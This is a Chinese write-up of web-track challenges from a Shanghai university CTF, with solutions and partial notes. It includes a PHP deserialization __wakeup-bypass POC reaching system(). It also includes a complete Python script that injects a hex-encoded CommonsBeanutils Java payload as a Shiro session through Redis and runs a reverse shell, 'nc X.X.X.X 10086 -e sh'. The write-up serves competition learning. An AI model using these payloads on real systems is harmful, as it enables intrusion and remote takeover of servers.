第九届上海市大学生网络安全大赛网络安全赛道（Web方向）

1. php01

代码如下：

<?php
highlight_file(__FILE__);
if(isset($_POST["V50"]))

{
    file($_POST["V50"]);
}
else {
    echo "key.php";
}

参考：PHP Filter链——基于oracle的文件读取攻击 ， 利用php filter读取key.php文件，内容如下：

尝试对部分字符进行解码，一眼16进制编码。

访问v50_2042.php文件，内容如下：

<?php
if(isset($_POST["whoami"]))
{
    $whoami=$_POST["whoami"];
    if(!preg_match("/[a-km-rt-z0-9;\.\+\-\;\\*\=\\_\?`!@#\$%\^&\(\)\'\"<,:\/\]\[\}\{\~\|\\\]/i", $whoami))
    {
        echo "bypass yes";
        if (strlen($whoami)<=6)
        {
            shell_exec($whoami);
        }

    }
    else
    {
        echo "hack";
    }

}
else
{
    highlight_file(__FILE__);
} 

过滤的很死，绕不了一点，尝试写文件。

将ls执行命令的结果输出到l文件中，访问之。

同样利用之前的文件读取漏洞读取Rea11y_fl111ag_Trust_Me1.php文件，内容如下：

 <?php
if (isset($_POST["a"]))
{
highlight_file(__FILE__);
}
class whoami
{
    public $a9527;
    public $b0001;
    public $Whoami="dir";

    public function __destruct()
    {
        $this->b0001="flag";
        if ($this->a9527==="flag") 
        {
            eval(system($this->Whoami));
        }
        
        else
        {
            echo "???";
        }

    }
    public function __wakeup()
    {
        $this->a9527="nonono";
    }
}
unserialize($_GET["ctf"]);

php版本在7.4，引用赋值绕过，POC如下：

<?php

class whoami{
    public $b0001;
    public $a9527;
    public $Whoami="echo c3lzdGVtKCdjYXQgL2ZsYWcnKTs=|base64 -d";
}

$pop = new whoami;
$pop -> a9527 = &$pop -> b0001;

echo serialize($pop);

?>

获取flag。

2. ezpy（未解）

import pickle
from flask import Flask, request

app = Flask(__name__)

def safe(s):
    list1 = ["proc", "os", "sys", "open", "\\", "'", '"']
    for i in list1:
        if i in s.lower():
            return False
    return True

@app.post("/")
def loads():
    c = request.form.get("code")
    if safe(c[:40]):
        try:
            pickle.loads(c[:40].encode())
        except:
            pass
    if len(c) < 40:
        pickle.loads(c.encode())
        return "ok"
    return "no!"

if __name__ == "__main__":
    app.run("0.0.0.0", port=8080)

本地能弹计算器。

3. fuzz（未解）

根据信息搜集可以定位到某中天系统，但是没啥卵用。

4. Bybypassss（未解）

访问/dashboard.php文件时，返回包中会有部分后台渲染信息。

可以在返回包中找到viewer.php。

5. ezser

首先可以在页面源代码里面得知password是123456.

实际上任意用户名配上该密码都能进入到后台，登录进去会给一个session。

通过目录扫描，在.config文件中找到redis的密码。

给了一个redis地址，可以登录到redis服务器。

后续参考：redis未授权到shiro反序列化 ，通过redis打shiro反序列化，POC如下：

import socket

def cb1v192(cmd: str, jrmp: bool = False) -> bytes:
    if jrmp == True:
        prefix = "51aced0005770f023e9b0ed800000180c6f92dd480017372002e6a617661782e6d616e6167656d656e742e42616441747472696275746556616c7565457870457863657074696f6ed4e7daab632d46400200014c000376616c7400124c6a6176612f6c616e672f4f626a6563743b70787200136a6176612e6c616e672e457863657074696f6ed0fd1f3e1a3b1cc402000070787200136a6176612e6c616e672e5468726f7761626c65d5c635273977b8cb0300044c000563617573657400154c6a6176612f6c616e672f5468726f7761626c653b4c000d64657461696c4d6573736167657400124c6a6176612f6c616e672f537472696e673b5b000a737461636b547261636574001e5b4c6a6176612f6c616e672f537461636b5472616365456c656d656e743b4c001473757070726573736564457863657074696f6e737400104c6a6176612f7574696c2f4c6973743b70787071007e0008707572001e5b4c6a6176612e6c616e672e537461636b5472616365456c656d656e743b02462a3c3cfd2239020000707870000000047372001b6a6176612e6c616e672e537461636b5472616365456c656d656e746109c59a2636dd8502000449000a6c696e654e756d6265724c000e6465636c6172696e67436c61737371007e00054c000866696c654e616d6571007e00054c000a6d6574686f644e616d6571007e00057078700000011b74001e79736f73657269616c2e6578706c6f69742e4a524d504c697374656e65727400114a524d504c697374656e65722e6a617661740006646f43616c6c7371007e000b000000e071007e000d71007e000e740009646f4d6573736167657371007e000b000000ab71007e000d71007e000e74000372756e7371007e000b0000007771007e000d71007e000e7400046d61696e737200266a6176612e7574696c2e436f6c6c656374696f6e7324556e6d6f6469666961626c654c697374fc0f2531b5ec8e100200014c00046c69737471007e0007707872002c6a6176612e7574696c2e436f6c6c656374696f6e7324556e6d6f6469666961626c65436f6c6c656374696f6e19420080cb5ef71e0200014c0001637400164c6a6176612f7574696c2f436f6c6c656374696f6e3b707870737200136a6176612e7574696c2e41727261794c6973747881d21d99c7619d03000149000473697a65707870000000007704000000007871007e001b78737200176a6176612e7574696c2e5072696f72697479517565756594da30b4fb3f82b103000249000473697a654c000a636f6d70617261746f727400164c6a6176612f7574696c2f436f6d70617261746f723b707870000000027372002b6f72672e6170616368652e636f6d6d6f6e732e6265616e7574696c732e4265616e436f6d70617261746f72e3a188ea7322a4480200024c000a636f6d70617261746f7271007e001d4c000870726f706572747971007e000574001966696c653a2f707269766174652f746d702f79736f2e6a617278707372003f6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e636f6d70617261746f72732e436f6d70617261626c65436f6d70617261746f72fbf49925b86eb13702000074001966696c653a2f707269766174652f746d702f79736f2e6a617278707400106f757470757450726f706572746965737704000000037372003a636f6d2e73756e2e6f72672e6170616368652e78616c616e2e696e7465726e616c2e78736c74632e747261782e54656d706c61746573496d706c09574fc16eacab3303000649000d5f696e64656e744e756d62657249000e5f7472616e736c6574496e6465785b000a5f62797465636f6465737400035b5b425b00065f636c6173737400125b4c6a6176612f6c616e672f436c6173733b4c00055f6e616d6571007e00054c00115f6f757470757450726f706572746965737400164c6a6176612f7574696c2f50726f706572746965733b70787000000000ffffffff757200035b5b424bfd19156767db3702000070787000000002757200025b42acf317f8060854e0020000707870"
        midfix = "cafebabe0000003200390a0003002207003707002507002601001073657269616c56657273696f6e5549440100014a01000d436f6e7374616e7456616c756505ad2093f391ddef3e0100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c6501000474686973010013537475625472616e736c65745061796c6f616401000c496e6e6572436c61737365730100354c79736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747324537475625472616e736c65745061796c6f61643b0100097472616e73666f726d010072284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b5b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b2956010008646f63756d656e7401002d4c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b01000868616e646c6572730100425b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b01000a457863657074696f6e730700270100a6284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d417869734974657261746f723b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b29560100086974657261746f720100354c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d417869734974657261746f723b01000768616e646c65720100414c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b01000a536f7572636546696c6501000c476164676574732e6a6176610c000a000b07002801003379736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747324537475625472616e736c65745061796c6f6164010040636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f72756e74696d652f41627374726163745472616e736c65740100146a6176612f696f2f53657269616c697a61626c65010039636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f5472616e736c6574457863657074696f6e01001f79736f73657269616c2f7061796c6f6164732f7574696c2f476164676574730100083c636c696e69743e0100116a6176612f6c616e672f52756e74696d6507002a01000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b0c002c002d0a002b002e01"
        postfix = "08003001000465786563010027284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b0c003200330a002b003401000d537461636b4d61705461626c6501001e79736f73657269616c2f50776e65723233343434353934303839373139360100204c79736f73657269616c2f50776e65723233343434353934303839373139363b002100020003000100040001001a000500060001000700000002000800040001000a000b0001000c0000002f00010001000000052ab70001b100000002000d0000000600010000002f000e0000000c000100000005000f003800000001001300140002000c0000003f0000000300000001b100000002000d00000006000100000034000e00000020000300000001000f0038000000000001001500160001000000010017001800020019000000040001001a00010013001b0002000c000000490000000400000001b100000002000d00000006000100000038000e0000002a000400000001000f003800000000000100150016000100000001001c001d000200000001001e001f00030019000000040001001a00080029000b0001000c00000024000300020000000fa70003014cb8002f1231b6003557b1000000010036000000030001030002002000000002002100110000000a000100020023001000097571007e002d000001d4cafebabe00000032001b0a0003001507001707001807001901001073657269616c56657273696f6e5549440100014a01000d436f6e7374616e7456616c75650571e669ee3c6d47180100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c6501000474686973010003466f6f01000c496e6e6572436c61737365730100254c79736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747324466f6f3b01000a536f7572636546696c6501000c476164676574732e6a6176610c000a000b07001a01002379736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747324466f6f0100106a6176612f6c616e672f4f626a6563740100146a6176612f696f2f53657269616c697a61626c6501001f79736f73657269616c2f7061796c6f6164732f7574696c2f47616467657473002100020003000100040001001a000500060001000700000002000800010001000a000b0001000c0000002f00010001000000052ab70001b100000002000d0000000600010000003c000e0000000c000100000005000f001200000002001300000002001400110000000a000100020016001000097074000450776e72707701007871007e002a78"
        length = (0x696 + len(cmd)).to_bytes(4, byteorder='big').hex()
        length2 = len(cmd).to_bytes(2, byteorder='big').hex()
        hexdata = prefix + length + midfix + length2 + cmd.encode().hex() + postfix
        data = bytes.fromhex(hexdata)
        return data
    prefix = "aced0005737200176a6176612e7574696c2e5072696f72697479517565756594da30b4fb3f82b103000249000473697a654c000a636f6d70617261746f727400164c6a6176612f7574696c2f436f6d70617261746f723b7870000000027372002b6f72672e6170616368652e636f6d6d6f6e732e6265616e7574696c732e4265616e436f6d70617261746f72e3a188ea7322a4480200024c000a636f6d70617261746f7271007e00014c000870726f70657274797400124c6a6176612f6c616e672f537472696e673b78707372003f6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e636f6d70617261746f72732e436f6d70617261626c65436f6d70617261746f72fbf49925b86eb13702000078707400106f757470757450726f706572746965737704000000037372003a636f6d2e73756e2e6f72672e6170616368652e78616c616e2e696e7465726e616c2e78736c74632e747261782e54656d706c61746573496d706c09574fc16eacab3303000649000d5f696e64656e744e756d62657249000e5f7472616e736c6574496e6465785b000a5f62797465636f6465737400035b5b425b00065f636c6173737400125b4c6a6176612f6c616e672f436c6173733b4c00055f6e616d6571007e00044c00115f6f757470757450726f706572746965737400164c6a6176612f7574696c2f50726f706572746965733b787000000000ffffffff757200035b5b424bfd19156767db37020000787000000002757200025b42acf317f8060854e00200007870"
    midfix = "cafebabe0000003200390a0003002207003707002507002601001073657269616c56657273696f6e5549440100014a01000d436f6e7374616e7456616c756505ad2093f391ddef3e0100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c6501000474686973010013537475625472616e736c65745061796c6f616401000c496e6e6572436c61737365730100354c79736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747324537475625472616e736c65745061796c6f61643b0100097472616e73666f726d010072284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b5b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b2956010008646f63756d656e7401002d4c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b01000868616e646c6572730100425b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b01000a457863657074696f6e730700270100a6284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d417869734974657261746f723b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b29560100086974657261746f720100354c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d417869734974657261746f723b01000768616e646c65720100414c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b01000a536f7572636546696c6501000c476164676574732e6a6176610c000a000b07002801003379736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747324537475625472616e736c65745061796c6f6164010040636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f72756e74696d652f41627374726163745472616e736c65740100146a6176612f696f2f53657269616c697a61626c65010039636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f5472616e736c6574457863657074696f6e01001f79736f73657269616c2f7061796c6f6164732f7574696c2f476164676574730100083c636c696e69743e0100116a6176612f6c616e672f52756e74696d6507002a01000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b0c002c002d0a002b002e01"
    postfix = "08003001000465786563010027284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b0c003200330a002b003401000d537461636b4d61705461626c6501001d79736f73657269616c2f50776e6572323934393434393734373436353701001f4c79736f73657269616c2f50776e657232393439343439373437343635373b002100020003000100040001001a000500060001000700000002000800040001000a000b0001000c0000002f00010001000000052ab70001b100000002000d0000000600010000002f000e0000000c000100000005000f003800000001001300140002000c0000003f0000000300000001b100000002000d00000006000100000034000e00000020000300000001000f0038000000000001001500160001000000010017001800020019000000040001001a00010013001b0002000c000000490000000400000001b100000002000d00000006000100000038000e0000002a000400000001000f003800000000000100150016000100000001001c001d000200000001001e001f00030019000000040001001a00080029000b0001000c00000024000300020000000fa70003014cb8002f1231b6003557b1000000010036000000030001030002002000000002002100110000000a000100020023001000097571007e0010000001d4cafebabe00000032001b0a0003001507001707001807001901001073657269616c56657273696f6e5549440100014a01000d436f6e7374616e7456616c75650571e669ee3c6d47180100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c6501000474686973010003466f6f01000c496e6e6572436c61737365730100254c79736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747324466f6f3b01000a536f7572636546696c6501000c476164676574732e6a6176610c000a000b07001a01002379736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747324466f6f0100106a6176612f6c616e672f4f626a6563740100146a6176612f696f2f53657269616c697a61626c6501001f79736f73657269616c2f7061796c6f6164732f7574696c2f47616467657473002100020003000100040001001a000500060001000700000002000800010001000a000b0001000c0000002f00010001000000052ab70001b100000002000d0000000600010000003c000e0000000c000100000005000f001200000002001300000002001400110000000a000100020016001000097074000450776e72707701007871007e000d78"
    length = (0x694 + len(cmd)).to_bytes(4, byteorder='big').hex()
    length2 = len(cmd).to_bytes(2, byteorder='big').hex()
    hexdata = prefix + length + midfix + length2 + cmd.encode().hex() + postfix
    data = bytes.fromhex(hexdata)
    return data

def send_command(sock, command):
    """
    发送命令到套接字并返回响应
    """
    sock.sendall(command.encode())
    response = sock.recv(4096)
    return response.decode()

s=socket.socket()
s.connect(("X.X.X.X",port)) # redis地址和端口

password = "X&aQgkf*T5*7gW" # redis密码

auth_command = f"AUTH {password}\r\n"
auth_response = send_command(s, auth_command)
print(auth_response)

whatever=b"Zue3r" # cookie值
key=b"shiro:session:"+whatever
value=cb1v192("nc X.X.X.X 10086 -e sh") # 需要执行的命令
s.send(b"\x2a\x33\x0d\x0a\x24\x33\x0d\x0aSET\r\n\x24"+str(len(key)).encode()+b"\r\n"+key+b"\r\n\x24"+str(len(value)).encode()+b"\r\n"+value+b"\r\n")
if b"+OK" in  s.recv(3):
    print("success")

执行以上脚本后，再次登录系统，同时将JSESSIONID对应的值修改成Zue3r，刷新页面后即可触发。

服务器吃到shell，获取flag值。